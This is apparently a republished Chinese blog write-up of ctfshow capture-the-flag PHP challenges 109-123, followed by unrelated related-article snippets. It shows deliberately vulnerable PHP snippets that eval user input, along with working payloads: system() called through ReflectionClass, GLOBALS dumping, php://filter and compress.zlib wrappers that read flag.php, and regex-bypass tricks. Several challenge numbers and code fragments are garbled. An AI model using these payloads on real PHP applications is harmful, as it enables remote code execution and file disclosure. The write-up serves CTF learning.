ctfshow的web入门php特性109-123

news/2026/1/21 23:11:00/文章来源:https://www.cnblogs.com/yeycat/p/19514300

php109原生类函数

​ error_reporting(0);
​ if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ //正则匹配V1和V2的参数,匹配里面的内容只能是字母
​ eval("echo new $v1($v2());");
}

}

payload:?v1=ReflectionClass&v2=system('tac fl36dg.txt')

带入就是eval("echo new ReflectionClass(system('tac fl36dg.txt'))");

想做出这题得先了解一下原生类函数的含义。

建议阅读这篇文章php的原生类_php原生类-CSDN博客

这题使用的是反射类的函数进行操作,如果要要反射的Class不存在就会抛出异常,利用这一特性。

php110

​ error_reporting(0);
​ if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

​ if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){
​ die("error v1");
}
if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){
​ die("error v2");
}

eval("echo new $v1($v2());");

​ }

payload:?v1=FilesystemIterator&v2=getcwd

推荐阅读浅谈 php原生类的利用 1(文件操作类)_filesystemiterator-CSDN博客

对比上题的内容,这题多了符号的限制,所以system()是用不了了,那就使用原生文件操作类。

getcwd 是 PHP 的一个原生函数,作用只有一个:返回当前脚本所在的绝对路径

可遍历目录类的原生函数Filesystemlterator,DirectoryIterator,GlobIterator 用不了

php111全局变量

include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //是双引号可以解析变量
var_dump($$v1); //输出v1的变量
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v1)){
die("error v1");
}
if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){ //正则匹配v1值为ctfshow
getFlag($v1,$v2);
}

payload:/?v1=ctfshow&v2=GLOBALS

这题限制了v1的值只能是ctfshow,那么重点就是v2,已知v2的变量值等于v1,所以v2可以直接输入GLOBALS超全局变量,最后就能输出全局数组,flag就在其中。

php112

error_reporting(0);
function filter($file){
if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";

能看到,第三行的正则过滤了很多协议和..就是代表禁止目录穿越,但是没有过滤掉php和/符号

payload:

php://filter/resource=flag.php
php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php

php103

error_reporting(0);
function filter($file){
if(preg_match('/filter|../|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){ //is_file()判断给定文件名是否为一个正常的文件。可以用包装器绕过!
highlight_file(filter($file));
}else{
echo "hacker!";

payload:?file=compress.zlib://flag.php

因为正则多了个filter,所以php伪协议用不了了

这里compress.zlib://flag.php这个包装器不熟,那就学习一下!

compress.zlib:// 是 PHP 提供的用于透明地读写 gzip 压缩数据的流包装器。它允许你像操作普通文件一样操作 gzip 压缩的数据流。

意思就是它可以用来处理gzip的压缩文件,比如读取解压后的数据,或者写入数据的时候也会压缩的gzip文件里面!
原文链接:web99--web114(php特性篇)_web11 4-CSDN博客

php104

function filter($file){
if(preg_match('/compress|root|zip|convert|../|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

payload:?file=Php://filter/zlib.deflate|zlib.inflate/resource=flag.php,先进行压缩再解压绕过

?file=php://filter/resource=flag.php 不做任何动作直接获取flag

这题没有限制filter

php105

function filter($num){
$num=str_replace("0x","1",$num); //参数中的0x转成1
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!'36' and trim($num)!'36' and filter($num)'36'){ //这四个要求有意思,php认可的数字形式字符串36能返回true,第二个条件是不是长度2内容36的字符串通过,第三个条件是去除num左右两边的默认空白字符后不等36的字符串通过,第四个条件就是上面的替换,替换过后弱比较是36就能通过。
if($num
'36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

payload:?num=%0c36=(x0c36是php认可的36)

根据中间if条件的num的必要要求是弱比较等于36

php123

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

payload:POST : CTF_SHOW=&CTF[SHOW.COM=&fun= echo $flag

这次依旧是按照答案分析题目,中间的if条件里面要求我们必须有post头CTF_SHOW和

CTF_SHOW.COM,至于参数内容没有要求,然后不能有fl0g,但是这和下面我们得到 if($fl0g==="flag_give_me"){
echo $flag;

flag的前提又冲突了,所以看了大佬题解,不用符合条件,既然是post,那就直接指定变量运行就行

还有个有趣的小知识就是php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,就可以让CTF_SHOW.COM绕过这个正则匹配。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1196601.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

执行bs4.BeautifulSoup(html, ‘lxml‘)报错:Couldn‘t find a tree builder with the features you reque...如何解决?

&#x1f3c6;本文收录于 《全栈 Bug 调优&#xff08;实战版&#xff09;》 专栏。专栏聚焦真实项目中的各类疑难 Bug&#xff0c;从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解&#xff0c;形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者&…

AI架构实战指南:Agent、Workflow、RAG、Skill如何选择与组合

文章通过AI内容产品实战案例&#xff0c;揭示AI系统护城河在于架构而非单纯模型能力。提出用慢变量(Workflow/RAG)对抗快变量(模型迭代)的架构韧性理念&#xff0c;详解如何通过定位重构(从创造者转向放大器)、架构重构(构建最小完备内核)、交互重构(Agent克制使用)和生态重构(…

让大模型“读懂”你的文档:RAG核心技术——文档切分完全指南

让大模型“读懂”你的文档:RAG核心技术——文档切分完全指南引言:为什么文档切分是智能问答系统的“胜负手”? 嗨!我是你们的AI伙伴狸猫算君。今天我们要聊一个在构建智能问答系统时至关重要,却常常被忽视的环节—…

导师推荐!2026 9款AI论文工具测评:本科生毕业论文必备

导师推荐&#xff01;2026 9款AI论文工具测评&#xff1a;本科生毕业论文必备 2026年AI论文工具测评&#xff1a;为什么你需要这份榜单&#xff1f; 随着人工智能技术的不断进步&#xff0c;AI写作工具在学术领域的应用越来越广泛。对于本科生而言&#xff0c;撰写毕业论文不…

springboot_ssm803仓库仓储系统出入库模块设计--论文

目录 具体实现截图摘要 系统所用技术介绍写作提纲源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01; 具体实现截图 摘要 随着物流行业和电子商务的快速发展&#xff0c;仓储管理系统在现代企业运营中扮演着关键角色。传统的仓储管理依赖…

图数据库选型

https://www.nebula-graph.com.cn/ 更新中

学霸同款2026 9款一键生成论文工具测评:研究生开题报告必备神器

学霸同款2026 9款一键生成论文工具测评&#xff1a;研究生开题报告必备神器 2026年学术写作工具测评&#xff1a;为何值得一看&#xff1f; 在当前学术研究日益精细化、数据化的大环境下&#xff0c;论文写作已成为研究生阶段的核心任务之一。然而&#xff0c;面对繁重的文献综…

转行大模型开发,难不难?大模型转行指南:适合程序员的4步落地路径与资源(建议收藏)

本文全面解析大模型转行可行性&#xff0c;指出大模型领域正处于技术爆发期&#xff0c;提供了逃离内卷的新机会。针对不同背景人群&#xff0c;文章分析了转行难度&#xff0c;明确了适合人群&#xff0c;并提供了4阶段可落地的转行路径&#xff1a;从建立基础认知到深度实践&…

家庭教育专家智能体发布

家庭教育专家智能体发布相信有孩子的家庭都会感同身受,在要孩子之前,对孩子的直觉标签是“可爱”,“活泼”,在有了孩子之后,在孩子的成长过程中,每个阶段都会遇到不同的烦人的问题,让家长抓耳挠腮,血压升高,对…

springboot_ssm804充电桩综合管理--论文

目录 具体实现截图摘要 系统所用技术介绍写作提纲源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01; 具体实现截图 摘要 随着新能源汽车的普及&#xff0c;充电桩作为基础设施的需求急剧增长。传统充电桩管理系统存在数据分散、运维效率…

springboot_ssm805共享厨房租赁信息系统--论文

目录 具体实现截图摘要 系统所用技术介绍写作提纲源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01; 具体实现截图 摘要 随着共享经济的快速发展&#xff0c;共享厨房作为一种新型餐饮服务模式&#xff0c;逐渐受到创业者和餐饮从业者的…

YOLOv8改进 - 注意力机制 | Triplet Attention (三重注意力) 通过跨维度交互捕捉增强多尺度目标特征表征

前言 本文介绍了三重注意力机制&#xff08;Triplet Attention&#xff09;&#xff0c;这是一种通过三分支结构捕获跨维度交互以计算注意力权重的轻量化方法。该方法利用旋转操作构建通道与空间维度间的依赖关系&#xff0c;有效编码通道间和空间信息&#xff0c;且计算开销极…

计算机Java毕设实战-基于Java Web的虚拟实验室设备租赁管理系基于springboot的实验设备借用平台的设计与实现 实验室设备租赁系统【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

springboot_ssm800公司重大停管理系统--论文

目录 具体实现截图摘要 系统所用技术介绍写作提纲源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01; 具体实现截图 摘要 随着企业规模的扩大和业务复杂度的提升&#xff0c;重大停管理成为保障企业稳定运营的关键环节。传统管理方式依赖…

springboot_ssm801二手商品交易系统 积分兑换ntkgh--论文

目录具体实现截图摘要系统所用技术介绍写作提纲源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;具体实现截图 摘要 随着互联网技术的快速发展&#xff0c;二手商品交易平台逐渐成为资源循环利用的重要途径。本研究基于SpringBoot和SSM…

YOLOv8改进 - 注意力机制 | SKAttention:选择性核注意力通过多分支融合与自适应感受野调整优化多尺度目标检测

前言 本文介绍了SKAttention&#xff08;选择性核注意力&#xff09;机制&#xff0c;这是一种受生物视觉皮层启发的动态多尺度特征提取方法。该技术通过Split、Fuse和Select三个算子&#xff0c;使神经元能根据输入自适应调整感受野大小&#xff0c;通过不同卷积核分支的软注…

Java毕设项目推荐-基于springboot vue的实验室设备借用管理系统【附源码+文档,调试定制服务】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

Java计算机毕设之基于vue设备租赁报修借用管理系统基于springboot的实验设备借用平台的设计与实现 实验室设备租赁系统(完整前后端代码+说明文档+LW,调试定制等)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

springboot_ssm802二手车估值与销售网络平台--论文

目录具体实现截图摘要系统所用技术介绍写作提纲源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;具体实现截图 摘要 随着二手车市场的快速发展&#xff0c;准确估值与高效交易成为行业痛点。传统估值方法依赖人工经验&#xff0c;存在主…

想转行大模型?先了解算法与应用工程师的真实门槛与学习路径

文章分析了大模型领域两类岗位&#xff1a;门槛极高的算法工程师和相对较低的应用工程师。建议没有技术或业务壁垒的从业者可考虑大模型应用方向&#xff0c;但需警惕盲目跟风。推荐利用业余时间先尝试研究&#xff0c;确认适合后再转行。文章还介绍了大模型在各行业的应用场景…